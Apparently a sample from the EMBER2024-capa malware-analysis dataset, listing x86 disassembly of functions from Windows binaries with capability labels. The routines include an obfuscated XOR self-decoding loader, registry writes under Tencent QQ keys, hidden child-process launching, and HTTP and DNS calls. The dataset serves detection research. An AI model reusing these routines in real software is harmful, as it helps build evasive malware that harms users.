joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40723f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
push 0
cmove eax, ecx
push eax
push dword [esp + 0x14]
push ecx
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x40729d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x4000
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406924
mov edi, dword [ebp + 0x14]
test eax, eax
jne 0x40730f
push esi
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp + 0x18]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
mov word [edi + 0x3ffe], ax
pop esi
jne 0x40730f
cmp dword [ebp + 0x18], 1
je 0x407314
cmp dword [ebp + 0x18], 2
je 0x407314
xor eax, eax
mov word [edi], ax
pop edi
mov esp, ebp
pop ebp
ret 0x14

Function at 0x40731b
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x407380
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a940]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a944]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
pop ecx
xor edx, edx
div ecx
push esi
add word [ebp - 4], dx
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x4073cc
test edi, edi
jne 0x40738d
mov word [esi], ax
jmp 0x4073ce
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x4074b7
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4074d9
mov ecx, esi
and ecx, 0xfffffffe
push ecx
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x407703
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4618cc], 0
push esi
jne 0x40773d
xor ecx, ecx
push 8
mov edx, ecx
pop esi
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
sub esi, 1
jne 0x407714
mov dword [ecx*4 + 0x4618c8], edx
inc ecx
cmp ecx, 0x100
jl 0x40770f
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
not ecx
test edx, edx
je 0x407767
mov esi, dword [esp + 0xc]
movzx eax, byte [esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4618c8]
inc esi
sub edx, 1
jne 0x40774f
not ecx
mov eax, ecx
pop esi
ret 0xc
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x405301
pop dword [ebp - 0x40]
mov eax, 0x405301
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x91d23c2c
add dword [ebp - 0x50], 0xbc80091f
mov dword [ebp - 0x4c], 0x2d2b910a
add dword [ebp - 0x4c], 0x507bb3b
mov dword [ebp - 0x48], 0xff32fb06
sub dword [ebp - 0x48], 0xb2e6b6d8
mov dword [ebp - 0x44], 0xc1106f94
add dword [ebp - 0x44], 0x3eef906c
lea eax, [ebp - 0x50]
push eax
mov eax, 0x7bce277a
sub eax, 0x7b8d5726
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x66262d87
add dword [ebp - 0x50], 0xe4c3bcf
mov dword [ebp - 0x4c], 0x122b17c
sub dword [ebp - 0x4c], 0xbfb65007
mov dword [ebp - 0x48], 0xbc6fb675
add dword [ebp - 0x48], 0xa6ffb5f7
mov dword [ebp - 0x44], 0x9bf12406
sub dword [ebp - 0x44], 0x9bf12406
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x39586
push 0
call eax
mov ecx, 0xaa4bef50
add ecx, 0x55b457ea
xor esi, esi
add esi, eax
mov edx, 0x31495ba2
add edx, 0xcef8545e
add edx, dword [ebp - 0x40]
mov ebx, 0x8b78f144
sub dword [ebp - 0x3c], edi
mov edi, dword [edx]
sub dword [ebp - 0x2c], 0xb8154395
xor edi, ebx
xor dword [ebp - 0x14], 0xa4bfa6df
mov dword [esi], edi
add esi, 0xeada4d48
sub esi, 0xeada4d44
add edx, 0x268f8152
add edx, 0xd9707eb2
loop 0x405415
add eax, 0x10fbb
xor ebx, ebx
add ebx, eax
add eax, 0xf78a05c7
add eax, 0x875fa3e
mov ecx, 0x8eaf3219
add ecx, 0x7190cde7
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x404af0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x416af8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
lea eax, [esp]
mov dword [esp + 0xc], 0
push eax
push 0xf003f
push 0
push str.SoftwareTencentQQJH
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404b43
lea ecx, [esp]
push ecx
push str.SoftwareTencentQQJH
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x14]
mov eax, dword [edx - 8]
push eax
call sub.MFC42.DLL_CString::LockBuffer
push eax
mov eax, dword [esp + 8]
push 1
push 0
push str.Path
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x14]
mov dword [esp + 0xc], 0xffffffff
call fcn.00415c98
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x405290
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x416c2f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, ecx
mov dword [esp + 0x20], edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 3
mov ebx, 0x209
call sub.MFC42.DLL_CString::Empty
mov ecx, dword [esp + 0x38]
mov eax, dword [ecx - 8]
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x40536f
mov al, byte [ecx + edi*2]
mov byte [esp + 0x18], al
mov ecx, dword [esp + 0x18]
push ecx
mov ecx, ebp
call fcn.00405270
mov edx, dword [esp + 0x38]
and eax, 0xff
mov esi, eax
shl esi, 5
sub esi, eax
mov al, byte [edx + edi*2 + 1]
mov byte [esp + 0x1c], al
mov ecx, dword [esp + 0x1c]
push ecx
mov ecx, ebp
shl esi, 1
call fcn.00405270
and eax, 0xff
push 0x421174
lea ecx, [esp + 0x18]
add esi, eax
call fcn.00415d0a
push esi
push 0
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::SetAt
lea edx, [esp + 0x14]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::operator
mov ecx, dword [esp + 0x38]
inc edi
mov eax, dword [ecx - 8]
cdq
sub eax, edx
sar eax, 1
cmp edi, eax
jl 0x4052f6
lea eax, [esp + 0x10]
lea ecx, [esp + 0x38]
push eax
call fcn.00415d16
mov edx, dword [esp + 0x38]
xor esi, esi
mov eax, dword [edx - 8]
test eax, eax
jle 0x4053cc
mov dl, byte [esi + edx]
xor ecx, ecx
mov cl, bh
xor cl, dl
push ecx
push esi
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::SetAt
mov edx, dword [esp + 0x38]
movzx ax, byte [esi + edx]
add eax, ebx
mov ebx, 0x58bf
lea ecx, [eax + eax*2]
shl ecx, 4
sub ecx, eax
lea ecx, [ecx + ecx*2]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*8]
lea eax, [eax + ecx*2]
sub ebx, eax
mov eax, dword [edx - 8]
inc esi
cmp esi, eax
jl 0x40538a
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x20], 1
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 2
call fcn.00415c98
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 1
call fcn.00415c98
lea ecx, [esp + 0x38]
mov byte [esp + 0x2c], 0
call fcn.00415c98
mov ecx, dword [esp + 0x24]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 8
Function at 0x40625d
Capabilities:
Initialize winsock library
Inspect load icon resource
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x416d2c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x1b4]
mov dword [esp + 0x1ac], 0
push eax
push 0xbc
call fcn.00415c1a
lea ecx, [esi + 0x60]
mov byte [esp + 0x1ac], 1
call sub.MFC42.DLL_CString::CString
lea edi, [esi + 0x70]
mov byte [esp + 0x1ac], 2
mov ecx, edi
call sub.MFC42.DLL_CString::CString
lea ebx, [esi + 0x78]
mov byte [esp + 0x1ac], 3
mov ecx, ebx
call sub.MFC42.DLL_CString::CString
lea ebp, [esi + 0x7c]
mov byte [esp + 0x1ac], 4
mov ecx, ebp
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x80]
mov byte [esp + 0x1ac], 5
call sub.MFC42.DLL_CString::CString
mov byte [esp + 0x1ac], 6
mov dword [esi], 0x41a1c0
call sub.MFC42.DLL_AfxGetModuleState
push 0x80
push 0xe
push 0x80
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x4224d8
mov ecx, ebx
mov dword [esi + 0x74], eax
call fcn.00415d0a
push 0x4224d8
mov ecx, ebp
call fcn.00415d0a
push 0x4224d8
lea ecx, [esi + 0x80]
call fcn.00415d0a
lea ecx, [esp + 0x1b8]
push ecx
mov ecx, edi
call fcn.00415d16
mov edx, dword [esp + 0x1bc]
lea eax, [esp + 0x14]
push eax
push 0x102
mov dword [esi + 0x6c], edx
call sub.WSOCK32.dll_WSAStartup
test eax, eax
je 0x406378
push 0x10
push 0x42128c
push 0x421298
mov ecx, esi
call sub.MFC42.DLL_CWnd::MessageBoxA
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [esp + 0x1b8]
mov dword [esp + 0x1ac], 0xffffffff
call fcn.00415c98
mov ecx, dword [esp + 0x1a4]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1a0
ret 0xc
Function at 0x4064d0
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push 0xffffffffffffffff
push 0x416daf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0x18], edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 1
mov ebx, 0x209
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x30]
lea ecx, [esp + 0xc]
push eax
mov byte [esp + 0x28], 3
call fcn.00415d16
mov eax, dword [esp + 0x30]
xor esi, esi
cmp dword [eax - 8], edi
jle 0x406579
mov al, byte [esi + eax]
xor ecx, ecx
mov cl, bh
xor cl, al
push ecx
push esi
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::SetAt
mov edx, dword [esp + 0xc]
movzx ax, byte [esi + edx]
add eax, ebx
mov ecx, eax
shl ecx, 5
add ecx, eax
lea ecx, [ecx + ecx*2]
shl ecx, 3
sub ecx, eax
shl ecx, 4
add ecx, eax
mov eax, dword [esp + 0x30]
inc esi
lea ebx, [ecx + ecx + 0x1610]
mov ecx, dword [eax - 8]
cmp esi, ecx
jl 0x406533
lea edx, [esp + 0xc]
lea ecx, [esp + 0x30]
push edx
call fcn.00415d16
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Empty
mov eax, dword [esp + 0x30]
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x40660b
mov al, byte [edi + eax]
push 0x421178
mov byte [esp + 0x18], al
lea ecx, [esp + 0x14]
mov esi, dword [esp + 0x18]
and esi, 0xff
call fcn.00415d0a
mov eax, 0x4ec4ec4f
imul esi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
push 0
call sub.MFC42.DLL_CString::SetAt
mov eax, esi
mov ecx, 0x1a
cdq
idiv ecx
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
push 1
call sub.MFC42.DLL_CString::SetAt
lea edx, [esp + 0x10]
lea ecx, [esp + 0xc]
push edx
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 0x30]
inc edi
cmp edi, dword [eax - 8]
jl 0x40659b
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x18], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 2
call fcn.00415c98
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 1
call fcn.00415c98
lea ecx, [esp + 0x30]
mov byte [esp + 0x24], 0
call fcn.00415c98
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 8
Function at 0x406cd0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x416e53
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10c
push esi
push edi
mov esi, ecx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.SoftwareTencentQQv2
lea ecx, [esp + 0xc]
mov dword [esp + 0x120], 2
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
push 0x42143c
lea ecx, [esp + 0xc]
mov byte [esp + 0x120], 3
call sub.MFC42.DLL_CString::operator_1
lea eax, [esp + 0x12c]
lea ecx, [esp + 8]
push eax
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x406df6
mov ecx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x406df6
push 0x10
push 0x42128c
push 0x421410
mov ecx, esi
call sub.MFC42.DLL_CWnd::MessageBoxA
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 8]
mov byte [esp + 0x11c], 2
call fcn.00415c98
lea ecx, [esp + 0x124]
mov byte [esp + 0x11c], 1
call fcn.00415c98
lea ecx, [esp + 0x12c]
mov byte [esp + 0x11c], 0
call fcn.00415c98
lea ecx, [esp + 0x130]
mov dword [esp + 0x11c], 0xffffffff
call fcn.00415c98
xor eax, eax
jmp 0x406f10
mov edi, dword [esp + 0x124]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 4
mov esi, ecx
lea ecx, [esp + 0x130]
push ecx
push 4
push eax
push str.port
push edx
call ebp
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push esi
push eax
push 7
push 0
push 0x421404
push ecx
call ebp
mov edi, dword [esp + 0x134]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x18]
push ecx
push 7
push eax
push 0x4213fc
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov byte [esp + 0x120], 2
call fcn.00415c98
lea ecx, [esp + 0x128]
mov byte [esp + 0x120], 1
call fcn.00415c98
lea ecx, [esp + 0x130]
mov byte [esp + 0x120], 0
call fcn.00415c98
lea ecx, [esp + 0x134]
mov dword [esp + 0x120], 0xffffffff
call fcn.00415c98
mov eax, 1
pop ebp
mov ecx, dword [esp + 0x114]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x118
ret 0x10
Function at 0x4078e0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x416fd8
push eax
mov eax, 0x1054
mov dword fs:[0], esp
call fcn.004163e0
push esi
push edi
mov dword [esp + 0x1064], 2
call fcn.00415a00
mov eax, dword [eax + 0x2c]
mov ecx, dword [esp + 0x1078]
mov edx, dword [esp + 0x106c]
push eax
mov eax, dword [esp + 0x1078]
push ecx
mov ecx, dword [esp + 0x1078]
push edx
push eax
push ecx
lea edx, [esp + 0x70]
push str..clientClient.exe__s__s__k_192198425__t_28665689__s__d__s
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x28]
add esp, 0x1c
rep stosd dword es:[edi], eax
mov ecx, 0x11
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push str..client
push 0
push 0
push 0
push 0
lea edx, [esp + 0x78]
push 0
push edx
push 0
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea ecx, [esp + 0x106c]
mov esi, eax
mov byte [esp + 0x1064], 1
call fcn.00415c98
lea ecx, [esp + 0x1070]
mov byte [esp + 0x1064], 0
call fcn.00415c98
lea ecx, [esp + 0x1074]
mov dword [esp + 0x1064], 0xffffffff
call fcn.00415c98
mov ecx, dword [esp + 0x105c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1060
ret 0x10

Function at 0x407dc0
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
call fcn.00404d70
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push 0x2c
call fcn.00415a00
push ecx
add eax, 0x24
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x14]
call fcn.00404fc0
mov ebx, dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1c], eax
xor edi, edi
cmp edi, dword [ebp - 0x18]
jge 0x407e74
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + edi*4]
lea esi, [ecx + edi*4]
push eax
push 0
call ebx
test eax, eax
je 0x407e50
push 0xffffffffffffffff
call dword [0x4224e4]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 0x104
mov ecx, esi
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x407c30
call dword [sym.imp.USER32.dll_EnumWindows]
push 0xffffffffffffffff
mov ecx, esi
call sub.MFC42.DLL_CString::ReleaseBuffer
inc edi
jmp 0x407e21
push 0x4b0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407e1f
Function at 0x4086b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4171b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
call sub.MFC42.DLL_CStdioFile::CStdioFile
push str.xj.dat
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString_2
mov esi, eax
push 0x42143c
mov byte [esp + 0x30], 2
call fcn.00415a00
add eax, 8
push eax
lea eax, [esp + 0x10]
push eax
call sub.MFC42.DLL_operator
push esi
lea ecx, [esp + 8]
push eax
push ecx
mov byte [esp + 0x38], 3
call sub.MFC42.DLL_operator_2
lea ecx, [esp + 8]
mov byte [esp + 0x2c], 6
call fcn.00415c98
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 5
call fcn.00415c98
mov edx, dword [esp + 4]
push 0
push 0x1001
push edx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CStdioFile::Open
test eax, eax
pop esi
je 0x40876a
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0xc]
push eax
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CStdioFile::Close
lea ecx, [esp]
mov byte [esp + 0x28], 1
call fcn.00415c98
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.00415e54
lea ecx, [esp + 0x30]
mov dword [esp + 0x28], 0xffffffff
call fcn.00415c98
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret 4
Function at 0x4087b0
Capabilities:
Create http request

Disassembly:
push 0xffffffffffffffff
push 0x4171f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
mov ebp, ecx
push eax
mov dword [esp + 0x18], 0
call fcn.004084f0
push 0
push 0
push 0
mov ebx, 1
push 0
push str.Http_connect_Login
mov dword [esp + 0x48], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x4088e7
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CStringArray::CStringArray
mov ecx, dword [esp + 0x40]
push 0xc800
mov byte [esp + 0x38], 2
lea esi, [ecx + 0x1f0]
mov ecx, esi
call fcn.0040ed00
push 0x4216c8
mov ecx, esi
call fcn.0040e690
lea edx, [esp + 0x10]
push 0
push edx
push edi
mov ecx, ebp
call fcn.00408a10
test eax, eax
jne 0x40886f
push 0xc8c8
mov ecx, esi
call fcn.0040ed00
push 0x4216b0
mov ecx, esi
call fcn.0040e690
lea eax, [esp + 0x10]
push ebx
push eax
push edi
mov ecx, ebp
call fcn.00408a10
mov ecx, dword [esp + 0x10]
cmp dword [ecx - 8], 0x14
jge 0x4088bb
push 0xc8
mov ecx, esi
call fcn.0040ed00
push 0x421690
mov ecx, esi
call fcn.0040e690
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [esp + 0x3c]
push 0x4224d8
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], bl
call fcn.00415e00
jmp 0x4088fb
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x44], esp
push edx
call sub.MFC42.DLL_CString::CString_1
mov ecx, ebp
call fcn.004086b0
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], bl
call fcn.00415e00
mov esi, dword [esp + 0x3c]
lea eax, [esp + 0x10]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 0
call fcn.00415c98
mov ecx, dword [esp + 0x2c]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x28
ret 8
Function at 0x408920
Capabilities:
Resolve dns

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x417218
push eax
mov eax, dword [esp + 0x10]
mov dword fs:[0], esp
sub esp, 0x40
push eax
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x408957
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
add esp, 0x4c
ret 8
push ebp
mov ebp, dword [eax + 0xc]
mov edx, dword [ebp]
test edx, edx
je 0x4089ed
push ebx
mov ebx, dword [esp + 0x5c]
push esi
push edi
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [edx]
push ecx
call sub.WSOCK32.dll_inet_ntoa
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x64]
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [ebx + 8]
push eax
push ecx
mov ecx, ebx
mov dword [esp + 0x60], 0
call sub.MFC42.DLL_CStringArray::SetAtGrow
lea ecx, [esp + 0x60]
mov dword [esp + 0x58], 0xffffffff
call fcn.00415c98
mov edx, dword [ebp + 4]
add ebp, 4
test edx, edx
jne 0x40896d
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x44]
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x4c
ret 8
Function at 0x408dd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0xffffffffffffffff
push 0x4172af
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
push 0x4224d8
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push esi
mov dword [esp + 0x28], 1
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x408e4d
push ebp
lea ecx, [esp + 0x10]
call fcn.00415d0a
mov esi, dword [esp + 0x24]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 0
call fcn.00415c98
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret 0x10